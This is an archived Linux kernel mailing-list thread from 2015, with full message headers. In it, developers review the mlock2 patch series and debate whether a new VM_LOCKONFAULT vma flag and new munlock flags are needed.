Xref: news.gmane.org gmane.linux.kernel.mm:136168 gmane.linux.ports.mips.general:49544 gmane.linux.ports.m68k:7380 gmane.linux.ports.ia64:25618 gmane.linux.ports.sh.devel:47452 gmane.linux.ports.sparc:21276 gmane.linux.kernel.cross-arch:28566 gmane.linux.ports.arm.kernel:428447 gmane.linux.ports.parisc:25862 gmane.linux.kernel.api:13112 gmane.linux.kernel:2002890 gmane.linux.ports.alpha:3226 gmane.linux.ports.ppc64.devel:115752
Archived-At: <http://permalink.gmane.org/gmane.linux.kernel.mm/136168>

On Wed, Jul 22, 2015 at 10:15:01AM -0400, Eric B Munson wrote:

> > 
> > You haven't wired it up properly on powerpc, but I haven't mentioned it because
> > I'd rather we did it.
> > 
> > cheers
> 
> It looks like I will be spinning a V5, so I will drop all but the x86
> system calls additions in that version.

The MIPS bits are looking good however, so

Acked-by: Ralf Baechle <ralf@linux-mips.org>

With my ack, will you keep them or maybe carry them as a separate patch?

Cheers,

  Ralf

--
To unsubscribe, send a message with 'unsubscribe linux-mm' in
the body to majordomo@kvack.org.  For more info on Linux MM,
see: http://www.linux-mm.org/ .
Don't email: <a href=mailto:"dont@kvack.org"> email@kvack.org </a>


From - Thu Nov 08 21:37:40 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Vlastimil Babka <vbabka@suse.cz>
Newsgroups: gmane.linux.ports.alpha,gmane.linux.kernel,gmane.linux.ports.mips.general,gmane.linux.ports.parisc,gmane.linux.ports.ppc64.devel,gmane.linux.ports.sparc,gmane.comp.video.dri.devel,gmane.linux.kernel.mm,gmane.linux.kernel.cross-arch,gmane.linux.kernel.api
Subject: Re: [PATCH V4 4/6] mm: mlock: Introduce VM_LOCKONFAULT and add mlock
 flags to enable it
Date: Thu, 23 Jul 2015 12:03:37 +0200
Lines: 135
Approved: news@gmane.org
Message-ID: <55B0BBF9.7050802@suse.cz>
References: <1437508781-28655-1-git-send-email-emunson@akamai.com>
 <1437508781-28655-5-git-send-email-emunson@akamai.com>
 <55AF6A73.1080500@suse.cz> <20150722184343.GA2351@akamai.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=windows-1252
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1437645831 5255 80.91.229.3 (23 Jul 2015 10:03:51 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Thu, 23 Jul 2015 10:03:51 +0000 (UTC)
Cc: Andrew Morton <akpm@linux-foundation.org>,
	Michal Hocko <mhocko@suse.cz>,
	Jonathan Corbet <corbet@lwn.net>, linux-alpha@vger.kernel.org,
	linux-kernel@vger.kernel.org, linux-mips@linux-mips.org,
	linux-parisc@vger.kernel.org, linuxppc-dev@lists.ozlabs.org,
	sparclinux@vger.kernel.org, linux-xtensa@linux-xtensa.org,
	dri-devel@lists.freedesktop.org, linux-mm@kvack.org,
	linux-arch@vger.kernel.org, linux-api@vger.kernel.org
To: Eric B Munson <emunson@akamai.com>
Original-X-From: linux-alpha-owner@vger.kernel.org Thu Jul 23 12:03:45 2015
Return-path: <linux-alpha-owner@vger.kernel.org>
Envelope-to: lnx-linux-alpha@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-alpha-owner@vger.kernel.org>)
	id 1ZIDLt-00083A-3F
	for lnx-linux-alpha@plane.gmane.org; Thu, 23 Jul 2015 12:03:45 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1752431AbbGWKDn (ORCPT <rfc822;lnx-linux-alpha@m.gmane.org>);
	Thu, 23 Jul 2015 06:03:43 -0400
Original-Received: from cantor2.suse.de ([195.135.220.15]:58404 "EHLO mx2.suse.de"
	rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
	id S1752487AbbGWKDm (ORCPT <rfc822;linux-alpha@vger.kernel.org>);
	Thu, 23 Jul 2015 06:03:42 -0400
X-Virus-Scanned: by amavisd-new at test-mx.suse.de
Original-Received: from relay1.suse.de (charybdis-ext.suse.de [195.135.220.254])
	by mx2.suse.de (Postfix) with ESMTP id 4A935AAC1;
	Thu, 23 Jul 2015 10:03:39 +0000 (UTC)
X-Enigmail-Draft-Status: N1110
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:38.0) Gecko/20100101
 Thunderbird/38.0.1
In-Reply-To: <20150722184343.GA2351@akamai.com>
Original-Sender: linux-alpha-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-alpha.vger.kernel.org>
X-Mailing-List: linux-alpha@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.alpha:3227 gmane.linux.kernel:2003017 gmane.linux.ports.mips.general:49549 gmane.linux.ports.parisc:25863 gmane.linux.ports.ppc64.devel:115766 gmane.linux.ports.sparc:21279 gmane.comp.video.dri.devel:133297 gmane.linux.kernel.mm:136171 gmane.linux.kernel.cross-arch:28567 gmane.linux.kernel.api:13114
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.alpha/3227>

On 07/22/2015 08:43 PM, Eric B Munson wrote:
> On Wed, 22 Jul 2015, Vlastimil Babka wrote:
> 
>> 
>> Hi,
>> 
>> I think you should include a complete description of which
>> transitions for vma states and mlock2/munlock2 flags applied on them
>> are valid and what they do. It will also help with the manpages.
>> You explained some to Jon in the last thread, but I think there
>> should be a canonical description in changelog (if not also
>> Documentation, if mlock is covered there).
>> 
>> For example the scenario Jon asked, what happens after a
>> mlock2(MLOCK_ONFAULT) followed by mlock2(MLOCK_LOCKED), and that the
>> answer is "nothing". Your promised code comment for
>> apply_vma_flags() doesn't suffice IMHO (and I'm not sure it's there,
>> anyway?).
> 
> I missed adding that comment to the code, will be there in V5 along with
> the description in the changelog.

Thanks!

>> 
>> But the more I think about the scenario and your new VM_LOCKONFAULT
>> vma flag, it seems awkward to me. Why should munlocking at all care
>> if the vma was mlocked with MLOCK_LOCKED or MLOCK_ONFAULT? In either
>> case the result is that all pages currently populated are munlocked.
>> So the flags for munlock2 should be unnecessary.
> 
> Say a user has a large area of interleaved MLOCK_LOCK and MLOCK_ONFAULT
> mappings and they want to unlock only the ones with MLOCK_LOCK.  With
> the current implementation, this is possible in a single system call
> that spans the entire region.  With your suggestion, the user would have
> to know what regions where locked with MLOCK_LOCK and call munlock() on
> each of them.  IMO, the way munlock2() works better mirrors the way
> munlock() currently works when called on a large area of interleaved
> locked and unlocked areas.

Um OK, that scenario is possible in theory. But I have a hard time imagining
that somebody would really want to do that. I think much more people would
benefit from a simpler API.

> 
>> 
>> I also think VM_LOCKONFAULT is unnecessary. VM_LOCKED should be
>> enough - see how you had to handle the new flag in all places that
>> had to handle the old flag? I think the information whether mlock
>> was supposed to fault the whole vma is obsolete at the moment mlock
>> returns. VM_LOCKED should be enough for both modes, and the flag to
>> mlock2 could just control whether the pre-faulting is done.
>> 
>> So what should be IMHO enough:
>> - munlock can stay without flags
>> - mlock2 has only one new flag MLOCK_ONFAULT. If specified,
>> pre-faulting is not done, just set VM_LOCKED and mlock pages already
>> present.
>> - same with mmap(MAP_LOCKONFAULT) (need to define what happens when
>> both MAP_LOCKED and MAP_LOCKONFAULT are specified).
>> 
>> Now mlockall(MCL_FUTURE) muddles the situation in that it stores the
>> information for future VMA's in current->mm->def_flags, and this
>> def_flags would need to distinguish VM_LOCKED with population and
>> without. But that could be still solvable without introducing a new
>> vma flag everywhere.
> 
> With you right up until that last paragraph.  I have been staring at
> this a while and I cannot come up a way to handle the
> mlockall(MCL_ONFAULT) without introducing a new vm flag.  It doesn't
> have to be VM_LOCKONFAULT, we could use the model that Michal Hocko
> suggested with something like VM_FAULTPOPULATE.  However, we can't
> really use this flag anywhere except the mlock code becuase we have to
> be able to distinguish a caller that wants to use MLOCK_LOCK with
> whatever control VM_FAULTPOPULATE might grant outside of mlock and a
> caller that wants MLOCK_ONFAULT.  That was a long way of saying we need
> an extra vma flag regardless.  However, if that flag only controls if
> mlock pre-populates it would work and it would do away with most of the
> places I had to touch to handle VM_LOCKONFAULT properly.

Yes, it would be a good way. Adding a new vma flag is probably cleanest after
all, but the flag would be set *in addition* to VM_LOCKED, *just* to prevent
pre-faulting. The places that check VM_LOCKED for the actual page mlocking (i.e.
try_to_unmap_one) would just keep checking VM_LOCKED. The places where VM_LOCKED
is checked to trigger prepopulation, would skip that if VM_LOCKONFAULT is also
set. Having VM_LOCKONFAULT set without also VM_LOCKED itself would be invalid state.

This should work fine with the simplified API as I proposed so let me reiterate
and try fill in the blanks:

- mlock2 has only one new flag MLOCK_ONFAULT. If specified, VM_LOCKONFAULT is
set in addition to VM_LOCKED and no prefaulting is done
  - old mlock syscall naturally behaves as mlock2 without MLOCK_ONFAULT
  - calling mlock/mlock2 on an already-mlocked area (if that's permitted
already?) will add/remove VM_LOCKONFAULT as needed. If it's removing,
prepopulate whole range. Of course adding VM_LOCKONFAULT to a vma that was
already prefaulted doesn't make any difference, but it's consistent with the rest.
- munlock removes both VM_LOCKED and VM_LOCKONFAULT
- mmap could treat MAP_LOCKONFAULT as a modifier to MAP_LOCKED to be consistent?
or not? I'm not sure here, either way subtly differs from mlock API anyway, I
just wish MAP_LOCKED never existed...
- mlockall(MCL_CURRENT) sets or clears VM_LOCKONFAULT depending on
MCL_LOCKONFAULT, mlockall(MCL_FUTURE) does the same on mm->def_flags
- munlockall2 removes both, like munlock. munlockall2(MCL_FUTURE) does that to
def_flags

> I picked VM_LOCKONFAULT because it is explicit about what it is for and
> there is little risk of someone coming along in 5 years and saying "why
> not overload this flag to do this other thing completely unrelated to
> mlock?".  A flag for controling speculative population is more likely to
> be overloaded outside of mlock().

Sure, let's make clear the name is related to mlock, but the behavior could
still be additive to MAP_LOCKED.

> If you have a sane way of handling mlockall(MCL_ONFAULT) without a new
> VMA flag, I am happy to give it a try, but I haven't been able to come
> up with one that doesn't have its own gremlins.

Well we could store the MCL_FUTURE | MCL_ONFAULT bit elsewhere in mm_struct than
the def_flags field. The VM_LOCKED field is already evaluated specially from all
the other def_flags. We are nearing the full 32bit space for vma flags. I think
all I've proposed above wouldn't change much if we removed per-vma
VM_LOCKONFAULT flag from the equation. Just that re-mlocking area already
mlocked *withouth* MLOCK_ONFAULT wouldn't know that it was alread prepopulated,
and would have to re-populate in either case (I'm not sure, maybe it's already
done by current implementation anyway so it's not a potential performance
regression).
Only mlockall(MCL_FUTURE | MCL_ONFAULT) should really need the ONFAULT info to
"stick" somewhere in mm_struct, but it doesn't have to be def_flags?
--
To unsubscribe from this list: send the line "unsubscribe linux-alpha" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:37:40 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Eric B Munson <emunson@akamai.com>
Newsgroups: gmane.linux.kernel.mm,gmane.linux.ports.alpha,gmane.linux.kernel,gmane.linux.ports.mips.general,gmane.linux.ports.parisc,gmane.linux.ports.ppc64.devel,gmane.linux.ports.sparc,gmane.comp.video.dri.devel,gmane.linux.kernel.cross-arch,gmane.linux.kernel.api
Subject: Re: [PATCH V4 4/6] mm: mlock: Introduce VM_LOCKONFAULT and add mlock
 flags to enable it
Date: Thu, 23 Jul 2015 11:21:13 -0400
Lines: 199
Approved: news@gmane.org
Message-ID: <20150723152113.GC7795@akamai.com>
References: <1437508781-28655-1-git-send-email-emunson@akamai.com>
 <1437508781-28655-5-git-send-email-emunson@akamai.com>
 <55AF6A73.1080500@suse.cz>
 <20150722184343.GA2351@akamai.com>
 <55B0BBF9.7050802@suse.cz>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: multipart/signed; micalg=pgp-sha1;
	protocol="application/pgp-signature"; boundary="3siQDZowHQqNOShm"
X-Trace: ger.gmane.org 1437664890 309 80.91.229.3 (23 Jul 2015 15:21:30 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Thu, 23 Jul 2015 15:21:30 +0000 (UTC)
Cc: Andrew Morton <akpm@linux-foundation.org>,
	Michal Hocko <mhocko@suse.cz>, Jonathan Corbet <corbet@lwn.net>,
	linux-alpha@vger.kernel.org, linux-kernel@vger.kernel.org,
	linux-mips@linux-mips.org, linux-parisc@vger.kernel.org,
	linuxppc-dev@lists.ozlabs.org, sparclinux@vger.kernel.org,
	linux-xtensa@linux-xtensa.org, dri-devel@lists.freedesktop.org,
	linux-mm@kvack.org, linux-arch@vger.kernel.org,
	linux-api@vger.kernel.org
To: Vlastimil Babka <vbabka@suse.cz>
Original-X-From: owner-linux-mm@kvack.org Thu Jul 23 17:21:21 2015
Return-path: <owner-linux-mm@kvack.org>
Envelope-to: glkm-linux-mm-2@m.gmane.org
Original-Received: from kanga.kvack.org ([205.233.56.17])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <owner-linux-mm@kvack.org>)
	id 1ZIIJE-00032c-0Y
	for glkm-linux-mm-2@m.gmane.org; Thu, 23 Jul 2015 17:21:20 +0200
Original-Received: by kanga.kvack.org (Postfix)
	id EB34C9003C8; Thu, 23 Jul 2015 11:21:17 -0400 (EDT)
Delivered-To: linux-mm-outgoing@kvack.org
Original-Received: by kanga.kvack.org (Postfix, from userid 40)
	id E8A999003C7; Thu, 23 Jul 2015 11:21:17 -0400 (EDT)
X-Original-To: int-list-linux-mm@kvack.org
X-Delivered-To: int-list-linux-mm@kvack.org
Original-Received: by kanga.kvack.org (Postfix, from userid 63042)
	id D7B7F9003C8; Thu, 23 Jul 2015 11:21:17 -0400 (EDT)
X-Original-To: linux-mm@kvack.org
X-Delivered-To: linux-mm@kvack.org
Original-Received: from mail-qg0-f47.google.com (mail-qg0-f47.google.com [209.85.192.47])
	by kanga.kvack.org (Postfix) with ESMTP id B26B29003C7
	for <linux-mm@kvack.org>; Thu, 23 Jul 2015 11:21:17 -0400 (EDT)
Original-Received: by qgii95 with SMTP id i95so87973451qgi.2
        for <linux-mm@kvack.org>; Thu, 23 Jul 2015 08:21:17 -0700 (PDT)
X-Google-DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=1e100.net; s=20130820;
        h=x-gm-message-state:dkim-signature:date:from:to:cc:subject
         :message-id:references:mime-version:content-type:content-disposition
         :in-reply-to:user-agent;
        bh=W02tQJjeyaUDia5EsW+BM87lnkqLVPNquwpvLeJyxwQ=;
        b=QiRbp66NdGGwzglw5fVZnzfc9BzbUxjOrXx35W8eoT/X4SraZrXj8SOt1lcH1t7sIp
         7SsVI4IGWSC8TquPFdLXgRrRnkQPvN7RHuqEP9ToJnWXviChyOPpNTkQsShMUNPjdALF
         MYCbmjpV+pWSkeGuoGByYA2veGymyqoeSWaNE6WepZnaxOkAI80UdO7ni7QuRZI4SihQ
         MTtF2AMZLR4Fa2yW5rEdfkOUDD4rUryMhnaADTHkfjeYIZfoM6Tp1H+//uvyt53dkA36
         IS/b/r++pWvHS5gojpkXqaKlJyieTTW1551FJcd1NeCGTBzCjxPyyvBfrDvhiuiefRqb
         r9YQ==
X-Gm-Message-State: ALoCoQlgrIPdlm4Qp2OFOCEuzJuv45Wsld5em+6YR3XG8x8CD1/lS8euR+dmzIM+Bb1GIEcJfkMogJJnpnptok9b+gHPNleLYuybPTOI3B58EeZ87ZkPp2VkRxIta5Wp8qP8Ho5J8am+0cgGfAsKhRBr7Ysa0f9YjftufDW6YoGpycaKs+2vvoMdfRN8OxB7rXj/iyHp4avg
X-Received: by 10.55.40.230 with SMTP id o99mr12844074qko.28.1437664877544;
        Thu, 23 Jul 2015 08:21:17 -0700 (PDT)
X-Received: by 10.55.40.230 with SMTP id o99mr12843938qko.28.1437664876612;
        Thu, 23 Jul 2015 08:21:16 -0700 (PDT)
Original-Received: from prod-mail-xrelay08.akamai.com (prod-mail-xrelay08.akamai.com. [96.6.114.112])
        by mx.google.com with ESMTP id 91si6191402qkz.118.2015.07.23.08.21.15
        for <linux-mm@kvack.org>;
        Thu, 23 Jul 2015 08:21:16 -0700 (PDT)
Received-SPF: pass (google.com: domain of emunson@akamai.com designates 96.6.114.112 as permitted sender) client-ip=96.6.114.112;
Authentication-Results: mx.google.com;
       spf=pass (google.com: domain of emunson@akamai.com designates 96.6.114.112 as permitted sender) smtp.mail=emunson@akamai.com;
       dkim=pass (test mode) header.i=@akamai.com;
       dmarc=pass (p=NONE dis=NONE) header.from=akamai.com
Original-Received: from prod-mail-xrelay08.akamai.com (localhost.localdomain [127.0.0.1])
	by postfix.imss70 (Postfix) with ESMTP id 9B0177402E7;
	Thu, 23 Jul 2015 15:21:15 +0000 (GMT)
Original-Received: from prod-mail-relay09.akamai.com (prod-mail-relay09.akamai.com [172.27.22.68])
	by prod-mail-xrelay08.akamai.com (Postfix) with ESMTP id 841D97402DE;
	Thu, 23 Jul 2015 15:21:15 +0000 (GMT)
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/simple; d=akamai.com; s=a1;
	t=1437664875; bh=Kp9ymrzcUDWakn31WKEOWG9EVeqcwQovy9fs6sBnmEM=;
	h=Date:From:To:Cc:Subject:References:In-Reply-To:From;
	b=LkrjxLKLycDTjzskvSWgChTMHi1ewel1E/tBQ4sxYSB9oHwH8BUhNYIpEpGFh8nZc
	 R/6DD8fMq0NWRPNX/BahHyhhrFigdIQo8UHiBujuYtFiYWC96bLeCMyR71pjLjxuGr
	 xJhcZSabMzXQpAN0hcAxz2M0n2U9JegiqgXYcaeY=
Original-Received: from akamai.com (callahan.kendall.corp.akamai.com [172.17.12.11])
	by prod-mail-relay09.akamai.com (Postfix) with ESMTP id 879E73A27F;
	Thu, 23 Jul 2015 15:21:14 +0000 (GMT)
Content-Disposition: inline
In-Reply-To: <55B0BBF9.7050802@suse.cz>
User-Agent: Mutt/1.5.21 (2010-09-15)
X-Bogosity: Ham, tests=bogofilter, spamicity=0.000000, version=1.2.4
Original-Sender: owner-linux-mm@kvack.org
Precedence: bulk
X-Loop: owner-majordomo@kvack.org
List-ID: <linux-mm.kvack.org>
Xref: news.gmane.org gmane.linux.kernel.mm:136187 gmane.linux.ports.alpha:3228 gmane.linux.kernel:2003239 gmane.linux.ports.mips.general:49554 gmane.linux.ports.parisc:25864 gmane.linux.ports.ppc64.devel:115784 gmane.linux.ports.sparc:21280 gmane.comp.video.dri.devel:133309 gmane.linux.kernel.cross-arch:28568 gmane.linux.kernel.api:13117
Archived-At: <http://permalink.gmane.org/gmane.linux.kernel.mm/136187>


--3siQDZowHQqNOShm
Content-Type: text/plain; charset=us-ascii
Content-Disposition: inline
Content-Transfer-Encoding: quoted-printable

On Thu, 23 Jul 2015, Vlastimil Babka wrote:

> On 07/22/2015 08:43 PM, Eric B Munson wrote:
> > On Wed, 22 Jul 2015, Vlastimil Babka wrote:
> >=20
> >>=20
> >> Hi,
> >>=20
> >> I think you should include a complete description of which
> >> transitions for vma states and mlock2/munlock2 flags applied on them
> >> are valid and what they do. It will also help with the manpages.
> >> You explained some to Jon in the last thread, but I think there
> >> should be a canonical description in changelog (if not also
> >> Documentation, if mlock is covered there).
> >>=20
> >> For example the scenario Jon asked, what happens after a
> >> mlock2(MLOCK_ONFAULT) followed by mlock2(MLOCK_LOCKED), and that the
> >> answer is "nothing". Your promised code comment for
> >> apply_vma_flags() doesn't suffice IMHO (and I'm not sure it's there,
> >> anyway?).
> >=20
> > I missed adding that comment to the code, will be there in V5 along with
> > the description in the changelog.
>=20
> Thanks!
>=20
> >>=20
> >> But the more I think about the scenario and your new VM_LOCKONFAULT
> >> vma flag, it seems awkward to me. Why should munlocking at all care
> >> if the vma was mlocked with MLOCK_LOCKED or MLOCK_ONFAULT? In either
> >> case the result is that all pages currently populated are munlocked.
> >> So the flags for munlock2 should be unnecessary.
> >=20
> > Say a user has a large area of interleaved MLOCK_LOCK and MLOCK_ONFAULT
> > mappings and they want to unlock only the ones with MLOCK_LOCK.  With
> > the current implementation, this is possible in a single system call
> > that spans the entire region.  With your suggestion, the user would have
> > to know what regions where locked with MLOCK_LOCK and call munlock() on
> > each of them.  IMO, the way munlock2() works better mirrors the way
> > munlock() currently works when called on a large area of interleaved
> > locked and unlocked areas.
>=20
> Um OK, that scenario is possible in theory. But I have a hard time imagin=
ing
> that somebody would really want to do that. I think much more people would
> benefit from a simpler API.

It wasn't about imagining a scenario, more about keeping parity with
something that currently works (unlocking a large area of interleaved
locked and unlocked regions).  However, there is no reason we can't add
the new munlock2 later if it is desired.

>=20
> >=20
> >>=20
> >> I also think VM_LOCKONFAULT is unnecessary. VM_LOCKED should be
> >> enough - see how you had to handle the new flag in all places that
> >> had to handle the old flag? I think the information whether mlock
> >> was supposed to fault the whole vma is obsolete at the moment mlock
> >> returns. VM_LOCKED should be enough for both modes, and the flag to
> >> mlock2 could just control whether the pre-faulting is done.
> >>=20
> >> So what should be IMHO enough:
> >> - munlock can stay without flags
> >> - mlock2 has only one new flag MLOCK_ONFAULT. If specified,
> >> pre-faulting is not done, just set VM_LOCKED and mlock pages already
> >> present.
> >> - same with mmap(MAP_LOCKONFAULT) (need to define what happens when
> >> both MAP_LOCKED and MAP_LOCKONFAULT are specified).
> >>=20
> >> Now mlockall(MCL_FUTURE) muddles the situation in that it stores the
> >> information for future VMA's in current->mm->def_flags, and this
> >> def_flags would need to distinguish VM_LOCKED with population and
> >> without. But that could be still solvable without introducing a new
> >> vma flag everywhere.
> >=20
> > With you right up until that last paragraph.  I have been staring at
> > this a while and I cannot come up a way to handle the
> > mlockall(MCL_ONFAULT) without introducing a new vm flag.  It doesn't
> > have to be VM_LOCKONFAULT, we could use the model that Michal Hocko
> > suggested with something like VM_FAULTPOPULATE.  However, we can't
> > really use this flag anywhere except the mlock code becuase we have to
> > be able to distinguish a caller that wants to use MLOCK_LOCK with
> > whatever control VM_FAULTPOPULATE might grant outside of mlock and a
> > caller that wants MLOCK_ONFAULT.  That was a long way of saying we need
> > an extra vma flag regardless.  However, if that flag only controls if
> > mlock pre-populates it would work and it would do away with most of the
> > places I had to touch to handle VM_LOCKONFAULT properly.
>=20
> Yes, it would be a good way. Adding a new vma flag is probably cleanest a=
fter
> all, but the flag would be set *in addition* to VM_LOCKED, *just* to prev=
ent
> pre-faulting. The places that check VM_LOCKED for the actual page mlockin=
g (i.e.
> try_to_unmap_one) would just keep checking VM_LOCKED. The places where VM=
_LOCKED
> is checked to trigger prepopulation, would skip that if VM_LOCKONFAULT is=
 also
> set. Having VM_LOCKONFAULT set without also VM_LOCKED itself would be inv=
alid state.
>=20
> This should work fine with the simplified API as I proposed so let me rei=
terate
> and try fill in the blanks:
>=20
> - mlock2 has only one new flag MLOCK_ONFAULT. If specified, VM_LOCKONFAUL=
T is
> set in addition to VM_LOCKED and no prefaulting is done
>   - old mlock syscall naturally behaves as mlock2 without MLOCK_ONFAULT
>   - calling mlock/mlock2 on an already-mlocked area (if that's permitted
> already?) will add/remove VM_LOCKONFAULT as needed. If it's removing,
> prepopulate whole range. Of course adding VM_LOCKONFAULT to a vma that was
> already prefaulted doesn't make any difference, but it's consistent with =
the rest.
> - munlock removes both VM_LOCKED and VM_LOCKONFAULT
> - mmap could treat MAP_LOCKONFAULT as a modifier to MAP_LOCKED to be cons=
istent?
> or not? I'm not sure here, either way subtly differs from mlock API anywa=
y, I
> just wish MAP_LOCKED never existed...
> - mlockall(MCL_CURRENT) sets or clears VM_LOCKONFAULT depending on
> MCL_LOCKONFAULT, mlockall(MCL_FUTURE) does the same on mm->def_flags
> - munlockall2 removes both, like munlock. munlockall2(MCL_FUTURE) does th=
at to
> def_flags
>=20
> > I picked VM_LOCKONFAULT because it is explicit about what it is for and
> > there is little risk of someone coming along in 5 years and saying "why
> > not overload this flag to do this other thing completely unrelated to
> > mlock?".  A flag for controling speculative population is more likely to
> > be overloaded outside of mlock().
>=20
> Sure, let's make clear the name is related to mlock, but the behavior cou=
ld
> still be additive to MAP_LOCKED.
>=20
> > If you have a sane way of handling mlockall(MCL_ONFAULT) without a new
> > VMA flag, I am happy to give it a try, but I haven't been able to come
> > up with one that doesn't have its own gremlins.
>=20
> Well we could store the MCL_FUTURE | MCL_ONFAULT bit elsewhere in mm_stru=
ct than
> the def_flags field. The VM_LOCKED field is already evaluated specially f=
rom all
> the other def_flags. We are nearing the full 32bit space for vma flags. I=
 think
> all I've proposed above wouldn't change much if we removed per-vma
> VM_LOCKONFAULT flag from the equation. Just that re-mlocking area already
> mlocked *withouth* MLOCK_ONFAULT wouldn't know that it was alread prepopu=
lated,
> and would have to re-populate in either case (I'm not sure, maybe it's al=
ready
> done by current implementation anyway so it's not a potential performance
> regression).
> Only mlockall(MCL_FUTURE | MCL_ONFAULT) should really need the ONFAULT in=
fo to
> "stick" somewhere in mm_struct, but it doesn't have to be def_flags?

This all sounds fine and should still cover the usecase that started
this adventure.  I will include this change in the V5 spin.


--3siQDZowHQqNOShm
Content-Type: application/pgp-signature; name="signature.asc"
Content-Description: Digital signature

-----BEGIN PGP SIGNATURE-----
Version: GnuPG v1

iQIcBAEBAgAGBQJVsQZpAAoJELbVsDOpoOa9rPAP/1izNbG09pAsgxL0DabP9Q3+
6wqhAW/fwNDziiMvLDYdnRdyf0S7rMwSMiHF6Lkx8PXkLWocX7O8FhqF4J94wxnR
LRGVLsik6RtHTFVOGtBZdKq2+tumpIdwAYrXs5R7zZjQq/vuV+JR6jEyu6+lP+d1
Z2jyxcFuNQcIFB3oD6T0W9vG2rAkye2MPYqMjHYy88qgh3qU46nZx5wjJBDjMVFR
n3kg+vYqsZhaZqVStUNEIyf8/FftVUuhjaIgqH/GJortMAlDP2nV1oTqsnUsPiDn
lSzZVI9OgJB0J49u14QumSUHsvK+SuugJ0UQLFY1o2ZDFF/FTyAVgW1tXF34ZcoZ
ndVDFRO7B2yDy1f7Fe9d9W4rKDvOvrqUj8leYrI3XUJ+5eYQfT+WgYKwnDFY0Ol0
xsz1RAoM0B61jUN694Ypqpywa6a5XTg2sqJwJh3vXiGWs/wPTRmW1V+Y0h0PyCzw
iGbmGrLRd/WsFaGFZLp+/8Z74wInKPEBJ0wzJmM94stYDR+ZQHZazX3rSrwbloir
vX+HX28xmmyOCRMN1CXBg1N2moaCqOb0CADPk8iLBkXqZEFiNMRfEnIBVLOWUdHw
s+U9WnlLrMpozaFKpyaGAhiwGVhjusl/pd0t3yIeOWqK8sNikxomriXCH6AqEyvS
aZaJVX9ee0a6Dpn5LQGB
=KQeP
-----END PGP SIGNATURE-----

--3siQDZowHQqNOShm--

--
To unsubscribe, send a message with 'unsubscribe linux-mm' in
the body to majordomo@kvack.org.  For more info on Linux MM,
see: http://www.linux-mm.org/ .
Don't email: <a href=mailto:"dont@kvack.org"> email@kvack.org </a>


From - Thu Nov 08 21:37:40 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Eric B Munson <emunson@akamai.com>
Newsgroups: gmane.linux.kernel.mm,gmane.linux.ports.mips.general,gmane.linux.ports.m68k,gmane.linux.ports.ia64,gmane.linux.ports.sh.devel,gmane.linux.ports.sparc,gmane.linux.kernel.cross-arch,gmane.linux.ports.arm.kernel,gmane.linux.ports.parisc,gmane.linux.kernel.api,gmane.linux.kernel,gmane.linux.ports.alpha,gmane.linux.ports.ppc64.devel
Subject: Re: [PATCH V4 2/6] mm: mlock: Add new mlock, munlock, and munlockall
 system calls
Date: Fri, 24 Jul 2015 10:39:36 -0400
Lines: 62
Approved: news@gmane.org
Message-ID: <20150724143936.GE9203@akamai.com>
References: <1437508781-28655-1-git-send-email-emunson@akamai.com>
 <1437508781-28655-3-git-send-email-emunson@akamai.com>
 <20150721134441.d69e4e1099bd43e56835b3c5@linux-foundation.org>
 <1437528316.16792.7.camel@ellerman.id.au>
 <20150722141501.GA3203@akamai.com>
 <20150723065830.GA5919@linux-mips.org>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: multipart/signed; micalg=pgp-sha1;
	protocol="application/pgp-signature"; boundary="+JUInw4efm7IfTNU"
X-Trace: ger.gmane.org 1437748795 15136 80.91.229.3 (24 Jul 2015 14:39:55 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Fri, 24 Jul 2015 14:39:55 +0000 (UTC)
Cc: Michael Ellerman <mpe@ellerman.id.au>,
	Andrew Morton <akpm@linux-foundation.org>,
	linux-mips@linux-mips.org, linux-m68k@vger.kernel.org,
	linux-ia64@vger.kernel.org, linux-sh@vger.kernel.org,
	Catalin Marinas <catalin.marinas@arm.com>,
	Heiko Carstens <heiko.carstens@de.ibm.com>,
	Michal Hocko <mhocko@suse.cz>, linux-mm@kvack.org,
	sparclinux@vger.kernel.org, linux-arch@vger.kernel.org,
	Stephen Rothwell <sfr@canb.auug.org.au>, linux-am33-list@redhat.com,
	Geert Uytterhoeven <geert@linux-m68k.org>,
	Vlastimil Babka <vbabka@suse.cz>,
	Guenter Roeck <linux@roeck-us.net>, linux-xtensa@linux-xtensa.org,
	linux-s390@vger.kernel.org,
	adi-buildroot-devel@lists.sourceforge.net,
	linux-arm-kernel@lists.infradead.org, linux-cris-kernel@axis.com,
	linux-parisc@vger.kernel.org, linux-api@vger.kernel.org,
	linux-kernel@vger.kernel.org, linux-alpha@vger.kernel.org,
	linuxppc-dev@lists.ozlabs.or
To: Ralf Baechle <ralf@linux-mips.org>
Original-X-From: owner-linux-mm@kvack.org Fri Jul 24 16:39:42 2015
Return-path: <owner-linux-mm@kvack.org>
Envelope-to: glkm-linux-mm-2@m.gmane.org
